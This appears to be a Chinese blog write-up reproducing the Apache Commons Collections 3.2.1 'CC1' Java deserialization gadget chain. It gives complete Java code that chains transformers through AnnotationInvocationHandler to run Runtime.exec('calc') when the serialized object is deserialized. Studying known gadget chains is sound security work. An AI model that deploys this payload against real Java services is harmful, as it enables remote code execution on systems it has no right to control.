CommonCollections-1

About

本文是关于Apache commons collections反序列漏洞利用链的过程复现

Environment

JDK versionjdk-8u65-windows-x64
Common collections version3.2.1

Maven导入3.2.1版本

  <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
  </dependency>

CC1链在JDK 8u71及之后的版本中被修复

InvokerTransformer#transform

CC1链造成的原因是Transformertransform方法

可以看到transform方法使用input.getClass()获取输入对象的类,然后通过cls.getMethod(iMethodName, iParamTypes)获取类中名为iMethodName且参数类型为iParamTypes的方法。

其中iMethodName等参数在实例化的时候就以实参的形式指定了,通过直接实例化InvokerTransformer,并且让transform的传入对象为Runtime即可成功调用到exec,具体如下代码

import org.apache.commons.collections.functors.InvokerTransformer;
import org.junit.Test;

import java.io.IOException;

public class CC1TEST {

    @Test
    public void Test() throws IOException {

        InvokerTransformer invokerTransformer= new InvokerTransformer(
                "exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

TransformedMap#checkSetValue

查找transform的实现,找到TransformedMap里有一个方法,但是前缀是protected,也就无法外部调用

继续向上寻找,发现另一个函数setValue通过外部传参间接调用了checkSetValue,并且可以显式调用

TransformedMapdecorate中可以看到是一个静态函数,并且可以传入参数生成一个新的实例。

由于TransformedMap是继承于AbstractInputCheckedMapDecorator,因此可以直接外部调用setvalue函数。Map.Entry.setValue是一个专门用于更新映射中值的方法。

现在的思路就是:通过使用TransformedMapdecorate静态函数生成一个TransformedMap的对象,并且提升为父类Map,因为setValue只在Map类中有,子类中并没有定义。通过这个对象的checkSetValue方法到setValue方法,最后到transform方法(其中的参数是相同的)。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.junit.Test;

import java.util.HashMap;
import java.util.Map;

public class CC1TEST {

    @Test
    public void Test() {

        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("a", "b");

        Map<Object,Object> decorated = TransformedMap.decorate(map, null, invokerTransformer);

        decorated.entrySet().forEach(entry -> {
           entry.setValue(Runtime.getRuntime()) ;
        });

    }
}

AnnotationInvocationHandler

这个类实现了Serializable接口,因此可以被序列化

并且在其readObject方法中存在setValue方法的调用

因此这个类可以作为反序列化的起点

但是它不能被显式创建实例,只能使用反射进行创建

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorated);

回到readObjcet方法,执行到setValue方法之前有两个判断,绕过也非常简单,只需要传入的map中有键值对就行

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
    // Check to make sure that types have not evolved incompatibly
    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

但是,就算绕过了前面的判断,这里的memberValuesetValue方法参数仍然是不可控的,也就无法设置参数为Runtime

ChainedTransformer

可以看到整个类的transform方法是成链式结构的,上一个经过transform的对象会作为下一轮的参数

因此可以将decorate的参数指定为一个ChainedTransformer,当其触发setValue的时候其中的对象会一层一层的传递,直到Runtimeexec方法被执行

因此代码结构可以如下,由于Runtime是无法被直接实例化的,因此这里链条的第一个是使用的ConstantTransformer,这个类的transform方法输入和输出的一致的,可以直接获取到RuntimeClass

之后使用InvokerTransformer触发getMethod方法,随后无参数调用invoke获取到getRuntime从而进行实例化得到一个Runtime对象。

最后经过这个实例化对象调用exec方法,进行命令执行

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.junit.Test;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1TEST {

    @Test
    public void Test() throws Exception {

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null }),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "value");

        Map<Object,Object> decorated = TransformedMap.decorate(map, null, chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, decorated);

        serialize(o);
        deserialize();

    }

    public void serialize(Object o) throws Exception {
        try (ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.ser")))) {
            oos.writeObject(o);
        }
    }

    public Object deserialize() throws Exception {
        try (ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("ser.ser")))) {
            return ois.readObject();
        }
    }

}

ChainedTransformer里面简单化的思路就是👇

import org.junit.Test;

public class CC1TEST_2 {

    @Test
    public void test2() throws Exception {
        Object getRuntime = Runtime.class.getMethod("getRuntime").invoke(null);

        System.out.println(getRuntime instanceof Runtime); //true

        getRuntime.getClass().getMethod("exec",String.class).invoke(getRuntime,"calc");

    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇